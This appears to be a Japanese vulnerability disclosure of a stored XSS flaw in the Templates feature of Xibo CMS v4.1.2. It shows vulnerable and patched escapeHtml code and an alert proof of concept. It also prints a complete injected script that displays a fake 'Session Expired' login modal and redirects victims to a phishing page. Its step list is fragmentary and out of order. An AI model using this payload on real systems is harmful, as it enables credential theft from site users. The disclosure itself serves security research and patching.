私はXibo CMS v4.1.2に**格納型クロスサイトスクリプティング (XSS)**の脆弱性を発見しました。この脆弱性により、認証された攻撃者がユーザー入力の不適切な検証のために悪意のあるスクリプトをアプリケーションに注入できます。
問題は「Templates」機能にあります。攻撃者は悪意のあるペイロードを含むテキスト要素を含むテンプレートを作成できます。このテンプレートが他のユーザーによって表示されると、スクリプトがブラウザで実行され、データの盗難やその他の悪意のある行為につながる可能性があります。
脆弱性を悪用するには、認証されたユーザーが次の手順を実行する必要があります。
<script>alert(1337)</script>)を挿入します。このセクションには、Xibo CMS v4.1.2の特定のコードスニペットが含まれており、'Text'フィールドの入力をサニタイズできていません。
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
} else if ($extension !== null) {
同じドキュメントの別の行。
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
別のドキュメント。
// Escape HTML
convertedProperties.escapeHtml = template?.extends?.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
このセクションでは、適切な入力サニタイズと出力エンコーディングメカニズムを含むパッチ適用済みのコードを示し、悪意のあるスクリプトを無効化します。
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
} else if ($extension !== null) {
同じドキュメントの別の行。
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
別のドキュメント。
// Escape HTML
convertedProperties.escapeHtml =
(template?.extends?.escapeHtml === undefined) ?
true : template.extends.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
保存されたペイロードは被害者のブラウザのコンテキストで実行され、パスワードなどの機密情報を盗むために利用される可能性があります。
1. ペイロードの注入: 攻撃者は悪意のあるスクリプトをテンプレート内のテキスト要素に挿入します。

私が使用したスクリプトは次の通りです:
<script>
(function() {
// --- MAIN FUNCTION ---
function showRedirectModal() {
// 1. Create the elements
const overlay = document.createElement('div');
const modalContainer = document.createElement('div');
const title = document.createElement('h2');
const message = document.createElement('p');
const redirectButton = document.createElement('button');
// 2. Assign styles and properties
// Style for the dark overlay
Object.assign(overlay.style, {
position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
display: 'flex', justifyContent: 'center', alignItems: 'center'
});
// Style for the modal container
Object.assign(modalContainer.style, {
padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
fontFamily: 'Arial, sans-serif'
});
// Style for the title
title.textContent = 'Session Expired';
Object.assign(title.style, {
textAlign: 'center', color: '#333', marginBottom: '15px'
});
message.textContent = 'Your session has expired. Please log in again to continue.';
Object.assign(message.style, {
textAlign: 'center',
color: '#555',
marginBottom: '25px',
lineHeight: '1.5',
fontSize: '16px'
});
// Style for the redirect button
Object.assign(redirectButton.style, {
width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
backgroundColor: '#007bff', color: 'white', fontSize: '16px',
cursor: 'pointer'
});
redirectButton.textContent = 'Log In Again';
// 3. Assemble the modal structure
modalContainer.appendChild(title);
modalContainer.appendChild(message);
modalContainer.appendChild(redirectButton);
overlay.appendChild(modalContainer);
// 4. Add the modal to the page
document.body.appendChild(overlay);
// 5. Define the button's behavior
redirectButton.addEventListener('click', function(e) {
e.preventDefault(); // Buena práctica
const phishingURL = 'http://my-website-example.com/login.html';
window.location.href = phishingURL;
document.body.removeChild(overlay);
});
}
// --- Initialize the function ---
showRedirectModal();
})();
</script>
2. 攻撃シナリオ: 一般的な攻撃は、セッションの有効期限切れを模倣してユーザーの認証情報を取得します。スクリプトがページを乗っ取り、このポップアップを被害者に表示します。

この情報は教育および研究目的でのみ提供されています。この情報によって生じた誤用や損害について、私は一切責任を負いません。